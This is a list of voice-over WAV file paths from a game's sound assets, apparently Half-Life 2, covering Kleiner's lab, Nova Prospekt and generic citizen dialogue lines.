+vo/k_lab/al_comeon.wav +vo/k_lab/al_comingthru.wav +vo/k_lab/al_comingwith.wav +vo/k_lab/al_docsays01.wav +vo/k_lab/al_docsays02.wav +vo/k_lab/al_foundhim.wav +vo/k_lab/al_heydoc.wav +vo/k_lab/al_hmm.wav +vo/k_lab/al_itsthere.wav +vo/k_lab/al_keepitgoing.wav +vo/k_lab/al_kleinerswaiting.wav +vo/k_lab/al_letsdoit.wav +vo/k_lab/al_lostgordon.wav +vo/k_lab/al_moveon01.wav +vo/k_lab/al_moveon02.wav +vo/k_lab/al_readyforus.wav +vo/k_lab/al_seeifitworks.wav +vo/k_lab/al_showonroad.wav +vo/k_lab/al_takecredit.wav +vo/k_lab/al_takeiteasy.wav +vo/k_lab/al_thatsit.wav +vo/k_lab/al_theplug.wav +vo/k_lab/al_there.wav +vo/k_lab/al_thereheis.wav +vo/k_lab/al_theswitch.wav +vo/k_lab/al_throwswitch.wav +vo/k_lab/al_uhoh01.wav +vo/k_lab/al_whatcat01.wav +vo/k_lab/al_whatcat02.wav +vo/k_lab/al_whatsgoingon.wav +vo/k_lab/al_wontlook.wav +vo/k_lab/al_woohoo.wav +vo/k_lab/al_youcoming.wav +vo/k_lab/ba_cantkeephim01.wav +vo/k_lab/ba_cantkeephim02.wav +vo/k_lab/ba_cantlook.wav +vo/k_lab/ba_careful01.wav +vo/k_lab/ba_careful02.wav +vo/k_lab/ba_dontblameyou.wav +vo/k_lab/ba_dontworry01.wav +vo/k_lab/ba_forgetthatthing.wav +vo/k_lab/ba_geethanks.wav +vo/k_lab/ba_getamoveon.wav +vo/k_lab/ba_getitoff01.wav +vo/k_lab/ba_getitoff02.wav +vo/k_lab/ba_getoutofsight01.wav +vo/k_lab/ba_getoutofsight02.wav +vo/k_lab/ba_getsuiton.wav +vo/k_lab/ba_goodluck02.wav +vo/k_lab/ba_guh.wav +vo/k_lab/ba_headhumper01.wav +vo/k_lab/ba_headhumper02.wav +vo/k_lab/ba_hearthosesirens.wav +vo/k_lab/ba_hesback01.wav +vo/k_lab/ba_hesback02.wav +vo/k_lab/ba_ishehere.wav +vo/k_lab/ba_itsworking01.wav +vo/k_lab/ba_itsworking02.wav +vo/k_lab/ba_itsworking03.wav +vo/k_lab/ba_itsworking04.wav +vo/k_lab/ba_juicedup.wav +vo/k_lab/ba_longer.wav +vo/k_lab/ba_myshift01.wav +vo/k_lab/ba_myshift02.wav +vo/k_lab/ba_notime.wav +vo/k_lab/ba_notimetofool01.wav +vo/k_lab/ba_notimetofool02.wav +vo/k_lab/ba_nottoosoon01.wav +vo/k_lab/ba_outcivvies.wav +vo/k_lab/ba_pissinmeoff.wav +vo/k_lab/ba_pushinit.wav +vo/k_lab/ba_saidlasttime.wav +vo/k_lab/ba_sarcastic01.wav +vo/k_lab/ba_sarcastic02.wav +vo/k_lab/ba_sarcastic03.wav +vo/k_lab/ba_suitup.wav +vo/k_lab/ba_thatpest.wav +vo/k_lab/ba_thereheis.wav +vo/k_lab/ba_thereyouare.wav +vo/k_lab/ba_thingaway01.wav +vo/k_lab/ba_thingaway02.wav +vo/k_lab/ba_thingaway03.wav +vo/k_lab/ba_thisway.wav +vo/k_lab/ba_whatthehell.wav +vo/k_lab/ba_whoops.wav +vo/k_lab/br_significant.wav +vo/k_lab/br_tele_02.wav +vo/k_lab/br_tele_03.wav +vo/k_lab/br_tele_05.wav +vo/k_lab/br_thereheis.wav +vo/k_lab/eli_allset.wav +vo/k_lab/eli_areyouthere.wav +vo/k_lab/eli_behindyou.wav +vo/k_lab/eli_bringthrough.wav +vo/k_lab/eli_didntcomethru.wav +vo/k_lab/eli_notquite03.wav +vo/k_lab/eli_notwhoithink.wav +vo/k_lab/eli_phenom02.wav +vo/k_lab/eli_seeforyourself.wav +vo/k_lab/eli_shutdown.wav +vo/k_lab/eli_stayput.wav +vo/k_lab/kl_ahhhh.wav +vo/k_lab/kl_almostforgot.wav +vo/k_lab/kl_barneyhonor.wav +vo/k_lab/kl_barneysturn.wav +vo/k_lab/kl_besokind.wav +vo/k_lab/kl_blast.wav +vo/k_lab/kl_bonvoyage.wav +vo/k_lab/kl_cantcontinue.wav +vo/k_lab/kl_cantwade.wav +vo/k_lab/kl_careful.wav +vo/k_lab/kl_charger01.wav +vo/k_lab/kl_charger02.wav +vo/k_lab/kl_coaxherout.wav +vo/k_lab/kl_comeout.wav +vo/k_lab/kl_credit.wav +vo/k_lab/kl_dearme.wav +vo/k_lab/kl_debeaked.wav +vo/k_lab/kl_delaydanger.wav +vo/k_lab/kl_diditwork.wav +vo/k_lab/kl_ensconced.wav +vo/k_lab/kl_excellent.wav +vo/k_lab/kl_fewmoments01.wav +vo/k_lab/kl_fewmoments02.wav +vo/k_lab/kl_fiddlesticks.wav +vo/k_lab/kl_finalsequence.wav +vo/k_lab/kl_finalsequence02.wav +vo/k_lab/kl_fitglove01.wav +vo/k_lab/kl_fitglove02.wav +vo/k_lab/kl_fruitlessly.wav +vo/k_lab/kl_getinposition.wav +vo/k_lab/kl_getoutrun01.wav +vo/k_lab/kl_getoutrun02.wav +vo/k_lab/kl_getoutrun03.wav +vo/k_lab/kl_gordongo.wav +vo/k_lab/kl_gordonthrow.wav +vo/k_lab/kl_hedyno01.wav +vo/k_lab/kl_hedyno02.wav +vo/k_lab/kl_hedyno03.wav +vo/k_lab/kl_helloalyx01.wav +vo/k_lab/kl_helloalyx02.wav +vo/k_lab/kl_heremypet01.wav +vo/k_lab/kl_heremypet02.wav +vo/k_lab/kl_hesnotthere.wav +vo/k_lab/kl_holdup01.wav +vo/k_lab/kl_holdup02.wav +vo/k_lab/kl_initializing.wav +vo/k_lab/kl_initializing02.wav +vo/k_lab/kl_interference.wav +vo/k_lab/kl_islamarr.wav +vo/k_lab/kl_lamarr.wav +vo/k_lab/kl_masslessfieldflux.wav +vo/k_lab/kl_modifications01.wav +vo/k_lab/kl_modifications02.wav +vo/k_lab/kl_moduli02.wav +vo/k_lab/kl_mygoodness01.wav +vo/k_lab/kl_mygoodness02.wav +vo/k_lab/kl_mygoodness03.wav +vo/k_lab/kl_nocareful.wav +vo/k_lab/kl_nonsense.wav +vo/k_lab/kl_nownow01.wav +vo/k_lab/kl_nownow02.wav +vo/k_lab/kl_ohdear.wav +vo/k_lab/kl_opportunetime01.wav +vo/k_lab/kl_opportunetime02.wav +vo/k_lab/kl_packing01.wav +vo/k_lab/kl_packing02.wav +vo/k_lab/kl_plugusin.wav +vo/k_lab/kl_projectyou.wav +vo/k_lab/kl_redletterday01.wav +vo/k_lab/kl_redletterday02.wav +vo/k_lab/kl_relieved.wav +vo/k_lab/kl_slipin01.wav +vo/k_lab/kl_slipin02.wav +vo/k_lab/kl_suitfits01.wav +vo/k_lab/kl_suitfits02.wav +vo/k_lab/kl_thenwhere.wav +vo/k_lab/kl_waitmyword.wav +vo/k_lab/kl_weowe.wav +vo/k_lab/kl_whatisit.wav +vo/k_lab/kl_wishiknew.wav +vo/k_lab/kl_yourturn.wav +vo/k_lab/mo_drawing.wav +vo/k_lab/mo_interfer.wav +vo/k_lab/mo_losinghim.wav +vo/k_lab2/al_andmyfather.wav +vo/k_lab2/al_anotherpet.wav +vo/k_lab2/al_aweek.wav +vo/k_lab2/al_aweek_b.wav +vo/k_lab2/al_catchup.wav +vo/k_lab2/al_catchup_b.wav +vo/k_lab2/al_doggowithgordon.wav +vo/k_lab2/al_dogyoumadeit.wav +vo/k_lab2/al_exploded.wav +vo/k_lab2/al_exploded_b.wav +vo/k_lab2/al_getmyfather.wav +vo/k_lab2/al_goodboy.wav +vo/k_lab2/al_gordontakecare.wav +vo/k_lab2/al_gordontakecare_b.wav +vo/k_lab2/al_headyourway.wav +vo/k_lab2/al_illtakecareofthis.wav +vo/k_lab2/al_klab2_exitnag01.wav +vo/k_lab2/al_klab2_exitnag02.wav +vo/k_lab2/al_klab2_exitnag03.wav +vo/k_lab2/al_notime.wav +vo/k_lab2/al_notime_b.wav +vo/k_lab2/al_optimism.wav +vo/k_lab2/al_wemadeit.wav +vo/k_lab2/al_whatdoyoumean.wav +vo/k_lab2/al_whatdoyoumean_b.wav +vo/k_lab2/al_whatswrong.wav +vo/k_lab2/al_whee_b.wav +vo/k_lab2/al_wheresdoc01.wav +vo/k_lab2/al_wheresdoc02.wav +vo/k_lab2/ba_getgoing.wav +vo/k_lab2/ba_goodnews.wav +vo/k_lab2/ba_goodnews_b.wav +vo/k_lab2/ba_goodnews_c.wav +vo/k_lab2/ba_goodnews_d.wav +vo/k_lab2/ba_heydoc01.wav +vo/k_lab2/ba_heydoc02.wav +vo/k_lab2/ba_incoming.wav +vo/k_lab2/kl_aroundhere.wav +vo/k_lab2/kl_atthecitadel01.wav +vo/k_lab2/kl_atthecitadel01_b.wav +vo/k_lab2/kl_aweekago01.wav +vo/k_lab2/kl_blowyoustruck01.wav +vo/k_lab2/kl_blowyoustruck02.wav +vo/k_lab2/kl_cantleavelamarr.wav +vo/k_lab2/kl_cantleavelamarr_b.wav +vo/k_lab2/kl_comeoutlamarr.wav +vo/k_lab2/kl_dontgiveuphope02.wav +vo/k_lab2/kl_dontgiveuphope03.wav +vo/k_lab2/kl_givenuphope.wav +vo/k_lab2/kl_greatscott.wav +vo/k_lab2/kl_howandwhen01.wav +vo/k_lab2/kl_howandwhen02.wav +vo/k_lab2/kl_lamarr.wav +vo/k_lab2/kl_lamarrwary01.wav +vo/k_lab2/kl_lamarrwary02.wav +vo/k_lab2/kl_nolongeralone.wav +vo/k_lab2/kl_nolongeralone_b.wav +vo/k_lab2/kl_notallhopeless.wav +vo/k_lab2/kl_notallhopeless_b.wav +vo/k_lab2/kl_onehedy.wav +vo/k_lab2/kl_slowteleport01.wav +vo/k_lab2/kl_slowteleport01_b.wav +vo/k_lab2/kl_slowteleport02.wav +vo/NovaProspekt/al_almostthere.wav +vo/NovaProspekt/al_backdown.wav +vo/NovaProspekt/al_betyoudid01.wav +vo/NovaProspekt/al_betyoudid03.wav +vo/NovaProspekt/al_bringhimin.wav +vo/NovaProspekt/al_careofyourself.wav +vo/NovaProspekt/al_combinespy01.wav +vo/NovaProspekt/al_combinespy03.wav +vo/NovaProspekt/al_combinespy04.wav +vo/NovaProspekt/al_combinespy05.wav +vo/NovaProspekt/al_comebackdad.wav +vo/NovaProspekt/al_comeon01.wav +vo/NovaProspekt/al_comeonin02.wav +vo/NovaProspekt/al_covermegordon.wav +vo/NovaProspekt/al_croom2_arrival.wav +vo/NovaProspekt/al_croom2_entry.wav +vo/NovaProspekt/al_croom2_fields.wav +vo/NovaProspekt/al_croom2_incoming.wav +vo/NovaProspekt/al_croom2_incoming_2.wav +vo/NovaProspekt/al_croom2_search.wav +vo/NovaProspekt/al_dadallright.wav +vo/NovaProspekt/al_daddownhere01.wav +vo/NovaProspekt/al_daddownhere02.wav +vo/NovaProspekt/al_dadswork.wav +vo/NovaProspekt/al_docstop.wav +vo/NovaProspekt/al_done01.wav +vo/NovaProspekt/al_drk01.wav +vo/NovaProspekt/al_drk02.wav +vo/NovaProspekt/al_drkleiner01.wav +vo/NovaProspekt/al_drkleiner01_b.wav +vo/NovaProspekt/al_drkleiner01_c.wav +vo/NovaProspekt/al_drkleiner01_d.wav +vo/NovaProspekt/al_drkleiner01_e.wav +vo/NovaProspekt/al_elevator02.wav +vo/NovaProspekt/al_elevator03.wav +vo/NovaProspekt/al_enoughbs01.wav +vo/NovaProspekt/al_enoughbs02.wav +vo/NovaProspekt/al_findmossman01.wav +vo/NovaProspekt/al_findmossman03.wav +vo/NovaProspekt/al_findmyfather.wav +vo/NovaProspekt/al_flyingblind.wav +vo/NovaProspekt/al_followme01.wav +vo/NovaProspekt/al_gasp01.wav +vo/NovaProspekt/al_getopen.wav +vo/NovaProspekt/al_gladtoseeyou.wav +vo/NovaProspekt/al_gladtoseeyoureok.wav +vo/NovaProspekt/al_goonthru01.wav +vo/NovaProspekt/al_goonthru02.wav +vo/NovaProspekt/al_goonthru03.wav +vo/NovaProspekt/al_goonthru04.wav +vo/NovaProspekt/al_gordon01.wav +vo/NovaProspekt/al_gordongetin.wav +vo/NovaProspekt/al_gotyounow01.wav +vo/NovaProspekt/al_gotyounow02.wav +vo/NovaProspekt/al_hacksecurity01.wav +vo/NovaProspekt/al_halfway.wav +vo/NovaProspekt/al_hereweare.wav +vo/NovaProspekt/al_holdit.wav +vo/NovaProspekt/al_holdon.wav +vo/NovaProspekt/al_horrible01.wav +vo/NovaProspekt/al_hurrymossman.wav +vo/NovaProspekt/al_icanreprogram.wav +vo/NovaProspekt/al_illtakecare.wav +vo/NovaProspekt/al_illtalk.wav +vo/NovaProspekt/al_inhere01.wav +vo/NovaProspekt/al_itsdone.wav +vo/NovaProspekt/al_justseconds.wav +vo/NovaProspekt/al_keepsetup01.wav +vo/NovaProspekt/al_keepsetup02.wav +vo/NovaProspekt/al_keepsetup02r.wav +vo/NovaProspekt/al_keepsetup03.wav +vo/NovaProspekt/al_keepsetup03r.wav +vo/NovaProspekt/al_keepsetup04.wav +vo/NovaProspekt/al_keepsetup04r.wav +vo/NovaProspekt/al_leapfrog01.wav +vo/NovaProspekt/al_letsgetgoing.wav +vo/NovaProspekt/al_letsgetout01.wav +vo/NovaProspekt/al_lookmonitor.wav +vo/NovaProspekt/al_mayneedher.wav +vo/NovaProspekt/al_meethim.wav +vo/NovaProspekt/al_meetyouthere01.wav +vo/NovaProspekt/al_moresoldiers01.wav +vo/NovaProspekt/al_moresoldiers02.wav +vo/NovaProspekt/al_moresoldiers04.wav +vo/NovaProspekt/al_mutter.wav +vo/NovaProspekt/al_nostop.wav +vo/NovaProspekt/al_notexactly.wav +vo/NovaProspekt/al_notleavinghere01.wav +vo/NovaProspekt/al_notleavingyou01.wav +vo/NovaProspekt/al_notleavingyou01_a.wav +vo/NovaProspekt/al_ohmygod.wav +vo/NovaProspekt/al_onepiece.wav +vo/NovaProspekt/al_overhere.wav +vo/NovaProspekt/al_perfecttiming03.wav +vo/NovaProspekt/al_perfecttiming03_b.wav +vo/NovaProspekt/al_pickherup.wav +vo/NovaProspekt/al_poorpeople.wav +vo/NovaProspekt/al_readings01.wav +vo/NovaProspekt/al_readings02.wav +vo/NovaProspekt/al_resetting.wav +vo/NovaProspekt/al_room1_blockedgate.wav +vo/NovaProspekt/al_room1_blockedgate_2.wav +vo/NovaProspekt/al_room1_blockedgate_2_nag.wav +vo/NovaProspekt/al_room1_gate.wav +vo/NovaProspekt/al_room1_lights.wav +vo/NovaProspekt/al_room1_lights_on.wav +vo/NovaProspekt/al_room1_move_shelves.wav +vo/NovaProspekt/al_room1_move_shelves_nag.wav +vo/NovaProspekt/al_room2_gate.wav +vo/NovaProspekt/al_room2_gate2.wav +vo/NovaProspekt/al_room2_vent.wav +vo/NovaProspekt/al_room5_done.wav +vo/NovaProspekt/al_room5_entry.wav +vo/NovaProspekt/al_room5_incoming.wav +vo/NovaProspekt/al_room5_turrets.wav +vo/NovaProspekt/al_sealdoor01.wav +vo/NovaProspekt/al_sealdoor02.wav +vo/NovaProspekt/al_senddadthru.wav +vo/NovaProspekt/al_setturrets.wav +vo/NovaProspekt/al_sheupto01.wav +vo/NovaProspekt/al_sheupto02.wav +vo/NovaProspekt/al_sheupto03.wav +vo/NovaProspekt/al_shutupandbeglad01.wav +vo/NovaProspekt/al_shutupandbeglad02.wav +vo/NovaProspekt/al_sorrysolong.wav +vo/NovaProspekt/al_sorrytooksolong.wav +vo/NovaProspekt/al_takingforever.wav +vo/NovaProspekt/al_thecoords.wav +vo/NovaProspekt/al_there.wav +vo/NovaProspekt/al_thereheis01.wav +vo/NovaProspekt/al_theyrecoming.wav +vo/NovaProspekt/al_uhoh_np.wav +vo/NovaProspekt/al_useturrets.wav +vo/NovaProspekt/al_warmeditup.wav +vo/NovaProspekt/al_werecomingin.wav +vo/NovaProspekt/al_whatcoords.wav +vo/NovaProspekt/al_whereareyou01.wav +vo/NovaProspekt/al_whereareyou02.wav +vo/NovaProspekt/al_whereareyou03.wav +vo/NovaProspekt/al_youandbreen.wav +vo/NovaProspekt/al_youbeenworking.wav +vo/NovaProspekt/al_youmadeit.wav +vo/NovaProspekt/al_yououtdad.wav +vo/NovaProspekt/al_youput01.wav +vo/NovaProspekt/al_youput02.wav +vo/NovaProspekt/br_blinded.wav +vo/NovaProspekt/br_disturb.wav +vo/NovaProspekt/br_leeway01.wav +vo/NovaProspekt/br_loyalties.wav +vo/NovaProspekt/br_outoftime.wav +vo/NovaProspekt/br_overzealous.wav +vo/NovaProspekt/eli_dontworry.wav +vo/NovaProspekt/eli_foundme01.wav +vo/NovaProspekt/eli_foundme02.wav +vo/NovaProspekt/eli_getoutofhere.wav +vo/NovaProspekt/eli_iknow.wav +vo/NovaProspekt/eli_judithshelp01.wav +vo/NovaProspekt/eli_nevermindme01.wav +vo/NovaProspekt/eli_notime01.wav +vo/NovaProspekt/eli_notworthrisk.wav +vo/NovaProspekt/eli_thisisportal.wav +vo/NovaProspekt/eli_whatgoingon.wav +vo/NovaProspekt/eli_wherewillyougo01.wav +vo/NovaProspekt/kl_await.wav +vo/NovaProspekt/kl_ready.wav +vo/NovaProspekt/kl_stopwho.wav +vo/NovaProspekt/kl_yesalyx.wav +vo/NovaProspekt/mo_alreadyrerouted01.wav +vo/NovaProspekt/mo_alreadyrerouted02.wav +vo/NovaProspekt/mo_asistated.wav +vo/NovaProspekt/mo_drplease.wav +vo/NovaProspekt/mo_feelings.wav +vo/NovaProspekt/mo_fromplatform.wav +vo/NovaProspekt/mo_hadtoprove01.wav +vo/NovaProspekt/mo_hadtoprove02.wav +vo/NovaProspekt/mo_howdyougetin.wav +vo/NovaProspekt/mo_inacell.wav +vo/NovaProspekt/mo_nevertillnow.wav +vo/NovaProspekt/mo_onlyway.wav +vo/NovaProspekt/mo_promised.wav +vo/NovaProspekt/mo_protectfather01.wav +vo/NovaProspekt/mo_pulsefoaming.wav +vo/NovaProspekt/mo_signal.wav +vo/NovaProspekt/mo_talkingabout.wav +vo/NovaProspekt/mo_worried.wav +vo/npc/Alyx/al_excuse01.wav +vo/npc/Alyx/al_excuse02.wav +vo/npc/Alyx/al_excuse03.wav +vo/npc/Alyx/brutal02.wav +vo/npc/Alyx/coverme01.wav +vo/npc/Alyx/coverme02.wav +vo/npc/Alyx/coverme03.wav +vo/npc/Alyx/gasp02.wav +vo/npc/Alyx/gasp03.wav +vo/npc/Alyx/getback01.wav +vo/npc/Alyx/getback02.wav +vo/npc/Alyx/gordon_dist01.wav +vo/npc/Alyx/hurt04.wav +vo/npc/Alyx/hurt05.wav +vo/npc/Alyx/hurt06.wav +vo/npc/Alyx/hurt08.wav +vo/npc/Alyx/lookout01.wav +vo/npc/Alyx/lookout03.wav +vo/npc/Alyx/no01.wav +vo/npc/Alyx/no02.wav +vo/npc/Alyx/no03.wav +vo/npc/Alyx/ohgod01.wav +vo/npc/Alyx/ohno_startle01.wav +vo/npc/Alyx/ohno_startle03.wav +vo/npc/Alyx/uggh01.wav +vo/npc/Alyx/uggh02.wav +vo/npc/Alyx/watchout01.wav +vo/npc/Alyx/watchout02.wav +vo/npc/Alyx/youreload01.wav +vo/npc/Alyx/youreload02.wav +vo/npc/Barney/ba_bringiton.wav +vo/npc/Barney/ba_covermegord.wav +vo/npc/Barney/ba_damnit.wav +vo/npc/Barney/ba_danger02.wav +vo/npc/Barney/ba_downyougo.wav +vo/npc/Barney/ba_duck.wav +vo/npc/Barney/ba_followme01.wav +vo/npc/Barney/ba_followme02.wav +vo/npc/Barney/ba_followme03.wav +vo/npc/Barney/ba_followme05.wav +vo/npc/Barney/ba_getaway.wav +vo/npc/Barney/ba_getdown.wav +vo/npc/Barney/ba_getoutofway.wav +vo/npc/Barney/ba_goingdown.wav +vo/npc/Barney/ba_gordonhelp.wav +vo/npc/Barney/ba_gotone.wav +vo/npc/Barney/ba_grenade01.wav +vo/npc/Barney/ba_grenade02.wav +vo/npc/Barney/ba_headhumpers.wav +vo/npc/Barney/ba_hereitcomes.wav +vo/npc/Barney/ba_heretheycome01.wav +vo/npc/Barney/ba_heretheycome02.wav +vo/npc/Barney/ba_hurryup.wav +vo/npc/Barney/ba_imwithyou.wav +vo/npc/Barney/ba_laugh01.wav +vo/npc/Barney/ba_laugh02.wav +vo/npc/Barney/ba_laugh03.wav +vo/npc/Barney/ba_laugh04.wav +vo/npc/Barney/ba_letsdoit.wav +vo/npc/Barney/ba_letsgo.wav +vo/npc/Barney/ba_littlehelphere.wav +vo/npc/Barney/ba_lookout.wav +vo/npc/Barney/ba_losttouch.wav +vo/npc/Barney/ba_no01.wav +vo/npc/Barney/ba_no02.wav +vo/npc/Barney/ba_ohshit03.wav +vo/npc/Barney/ba_ohyeah.wav +vo/npc/Barney/ba_oldtimes.wav +vo/npc/Barney/ba_openfiregord.wav +vo/npc/Barney/ba_pain01.wav +vo/npc/Barney/ba_pain02.wav +vo/npc/Barney/ba_pain03.wav +vo/npc/Barney/ba_pain04.wav +vo/npc/Barney/ba_pain05.wav +vo/npc/Barney/ba_pain06.wav +vo/npc/Barney/ba_pain07.wav +vo/npc/Barney/ba_pain08.wav +vo/npc/Barney/ba_pain09.wav +vo/npc/Barney/ba_pain10.wav +vo/npc/Barney/ba_soldiers.wav +vo/npc/Barney/ba_turret.wav +vo/npc/Barney/ba_uhohheretheycome.wav +vo/npc/Barney/ba_wounded01.wav +vo/npc/Barney/ba_wounded02.wav +vo/npc/Barney/ba_wounded03.wav +vo/npc/Barney/ba_yell.wav +vo/npc/female01/abouttime01.wav +vo/npc/female01/abouttime02.wav +vo/npc/female01/ahgordon01.wav +vo/npc/female01/ahgordon02.wav +vo/npc/female01/ammo01.wav +vo/npc/female01/ammo02.wav +vo/npc/female01/ammo03.wav +vo/npc/female01/ammo04.wav +vo/npc/female01/ammo05.wav +vo/npc/female01/answer01.wav +vo/npc/female01/answer02.wav +vo/npc/female01/answer03.wav +vo/npc/female01/answer04.wav +vo/npc/female01/answer05.wav +vo/npc/female01/answer07.wav +vo/npc/female01/answer08.wav +vo/npc/female01/answer09.wav +vo/npc/female01/answer10.wav +vo/npc/female01/answer11.wav +vo/npc/female01/answer12.wav +vo/npc/female01/answer13.wav +vo/npc/female01/answer14.wav +vo/npc/female01/answer15.wav +vo/npc/female01/answer16.wav +vo/npc/female01/answer17.wav +vo/npc/female01/answer18.wav +vo/npc/female01/answer19.wav +vo/npc/female01/answer20.wav +vo/npc/female01/answer21.wav +vo/npc/female01/answer22.wav +vo/npc/female01/answer23.wav +vo/npc/female01/answer24.wav +vo/npc/female01/answer25.wav +vo/npc/female01/answer26.wav +vo/npc/female01/answer27.wav +vo/npc/female01/answer28.wav +vo/npc/female01/answer29.wav +vo/npc/female01/answer30.wav +vo/npc/female01/answer31.wav +vo/npc/female01/answer32.wav +vo/npc/female01/answer33.wav +vo/npc/female01/answer34.wav +vo/npc/female01/answer35.wav +vo/npc/female01/answer36.wav +vo/npc/female01/answer37.wav +vo/npc/female01/answer38.wav +vo/npc/female01/answer39.wav +vo/npc/female01/answer40.wav +vo/npc/female01/behindyou01.wav +vo/npc/female01/behindyou02.wav +vo/npc/female01/busy02.wav +vo/npc/female01/cit_dropper01.wav +vo/npc/female01/cit_dropper04.wav +vo/npc/female01/civilprotection01.wav +vo/npc/female01/civilprotection02.wav +vo/npc/female01/combine01.wav +vo/npc/female01/combine02.wav +vo/npc/female01/coverwhilereload01.wav +vo/npc/female01/coverwhilereload02.wav +vo/npc/female01/cps01.wav +vo/npc/female01/cps02.wav +vo/npc/female01/docfreeman01.wav +vo/npc/female01/docfreeman02.wav +vo/npc/female01/doingsomething.wav +vo/npc/female01/dontforgetreload01.wav +vo/npc/female01/excuseme01.wav +vo/npc/female01/excuseme02.wav +vo/npc/female01/fantastic01.wav +vo/npc/female01/fantastic02.wav +vo/npc/female01/finally.wav +vo/npc/female01/freeman.wav +vo/npc/female01/getdown02.wav +vo/npc/female01/getgoingsoon.wav +vo/npc/female01/gethellout.wav +vo/npc/female01/goodgod.wav +vo/npc/female01/gordead_ans01.wav +vo/npc/female01/gordead_ans02.wav +vo/npc/female01/gordead_ans03.wav +vo/npc/female01/gordead_ans04.wav +vo/npc/female01/gordead_ans05.wav +vo/npc/female01/gordead_ans06.wav +vo/npc/female01/gordead_ans07.wav +vo/npc/female01/gordead_ans08.wav +vo/npc/female01/gordead_ans09.wav +vo/npc/female01/gordead_ans10.wav +vo/npc/female01/gordead_ans11.wav +vo/npc/female01/gordead_ans12.wav +vo/npc/female01/gordead_ans13.wav +vo/npc/female01/gordead_ans14.wav +vo/npc/female01/gordead_ans15.wav +vo/npc/female01/gordead_ans16.wav +vo/npc/female01/gordead_ans17.wav +vo/npc/female01/gordead_ans18.wav +vo/npc/female01/gordead_ans19.wav +vo/npc/female01/gordead_ans20.wav +vo/npc/female01/gordead_ques01.wav +vo/npc/female01/gordead_ques02.wav +vo/npc/female01/gordead_ques04.wav +vo/npc/female01/gordead_ques05.wav +vo/npc/female01/gordead_ques06.wav +vo/npc/female01/gordead_ques07.wav +vo/npc/female01/gordead_ques08.wav +vo/npc/female01/gordead_ques10.wav +vo/npc/female01/gordead_ques11.wav +vo/npc/female01/gordead_ques12.wav +vo/npc/female01/gordead_ques13.wav +vo/npc/female01/gordead_ques14.wav +vo/npc/female01/gordead_ques15.wav +vo/npc/female01/gordead_ques16.wav +vo/npc/female01/gordead_ques17.wav +vo/npc/female01/gotone01.wav +vo/npc/female01/gotone02.wav +vo/npc/female01/gottareload01.wav +vo/npc/female01/gunship02.wav +vo/npc/female01/hacks01.wav +vo/npc/female01/hacks02.wav +vo/npc/female01/headcrabs01.wav +vo/npc/female01/headcrabs02.wav +vo/npc/female01/headsup01.wav +vo/npc/female01/headsup02.wav +vo/npc/female01/health01.wav +vo/npc/female01/health02.wav +vo/npc/female01/health03.wav +vo/npc/female01/health04.wav +vo/npc/female01/health05.wav +vo/npc/female01/hellodrfm01.wav +vo/npc/female01/hellodrfm02.wav +vo/npc/female01/help01.wav +vo/npc/female01/herecomehacks01.wav +vo/npc/female01/herecomehacks02.wav +vo/npc/female01/heretheycome01.wav +vo/npc/female01/heretohelp01.wav +vo/npc/female01/heretohelp02.wav +vo/npc/female01/heydoc01.wav +vo/npc/female01/heydoc02.wav +vo/npc/female01/hi01.wav +vo/npc/female01/hi02.wav +vo/npc/female01/hitingut01.wav +vo/npc/female01/hitingut02.wav +vo/npc/female01/holddownspot01.wav +vo/npc/female01/holddownspot02.wav +vo/npc/female01/illstayhere01.wav +vo/npc/female01/imhurt01.wav +vo/npc/female01/imhurt02.wav +vo/npc/female01/imstickinghere01.wav +vo/npc/female01/incoming02.wav +vo/npc/female01/itsamanhack01.wav +vo/npc/female01/itsamanhack02.wav +vo/npc/female01/leadon01.wav +vo/npc/female01/leadon02.wav +vo/npc/female01/leadtheway01.wav +vo/npc/female01/leadtheway02.wav +vo/npc/female01/letsgo01.wav +vo/npc/female01/letsgo02.wav +vo/npc/female01/likethat.wav +vo/npc/female01/littlecorner01.wav +vo/npc/female01/lookoutfm01.wav +vo/npc/female01/lookoutfm02.wav +vo/npc/female01/moan01.wav +vo/npc/female01/moan02.wav +vo/npc/female01/moan03.wav +vo/npc/female01/moan04.wav +vo/npc/female01/moan05.wav +vo/npc/female01/myarm01.wav +vo/npc/female01/myarm02.wav +vo/npc/female01/mygut02.wav +vo/npc/female01/myleg01.wav +vo/npc/female01/myleg02.wav +vo/npc/female01/nice01.wav +vo/npc/female01/nice02.wav +vo/npc/female01/no01.wav +vo/npc/female01/no02.wav +vo/npc/female01/notthemanithought01.wav +vo/npc/female01/notthemanithought02.wav +vo/npc/female01/ohno.wav +vo/npc/female01/ok01.wav +vo/npc/female01/ok02.wav +vo/npc/female01/okimready01.wav +vo/npc/female01/okimready02.wav +vo/npc/female01/okimready03.wav +vo/npc/female01/onyourside.wav +vo/npc/female01/outofyourway02.wav +vo/npc/female01/overhere01.wav +vo/npc/female01/overthere01.wav +vo/npc/female01/overthere02.wav +vo/npc/female01/ow01.wav +vo/npc/female01/ow02.wav +vo/npc/female01/pain01.wav +vo/npc/female01/pain02.wav +vo/npc/female01/pain03.wav +vo/npc/female01/pain04.wav +vo/npc/female01/pain05.wav +vo/npc/female01/pain06.wav +vo/npc/female01/pain07.wav +vo/npc/female01/pain08.wav +vo/npc/female01/pain09.wav +vo/npc/female01/pardonme01.wav +vo/npc/female01/pardonme02.wav +vo/npc/female01/question01.wav +vo/npc/female01/question02.wav +vo/npc/female01/question03.wav +vo/npc/female01/question04.wav +vo/npc/female01/question05.wav +vo/npc/female01/question06.wav +vo/npc/female01/question07.wav +vo/npc/female01/question08.wav +vo/npc/female01/question09.wav +vo/npc/female01/question10.wav +vo/npc/female01/question11.wav +vo/npc/female01/question12.wav +vo/npc/female01/question13.wav +vo/npc/female01/question14.wav +vo/npc/female01/question15.wav +vo/npc/female01/question16.wav +vo/npc/female01/question17.wav +vo/npc/female01/question18.wav +vo/npc/female01/question19.wav +vo/npc/female01/question20.wav +vo/npc/female01/question21.wav +vo/npc/female01/question22.wav +vo/npc/female01/question23.wav +vo/npc/female01/question25.wav +vo/npc/female01/question26.wav +vo/npc/female01/question27.wav +vo/npc/female01/question28.wav +vo/npc/female01/question29.wav +vo/npc/female01/question30.wav +vo/npc/female01/question31.wav +vo/npc/female01/readywhenyouare01.wav +vo/npc/female01/readywhenyouare02.wav +vo/npc/female01/reloadfm01.wav +vo/npc/female01/reloadfm02.wav +vo/npc/female01/runforyourlife01.wav +vo/npc/female01/runforyourlife02.wav +vo/npc/female01/scanners01.wav +vo/npc/female01/scanners02.wav +vo/npc/female01/sorry01.wav +vo/npc/female01/sorry02.wav +vo/npc/female01/sorry03.wav 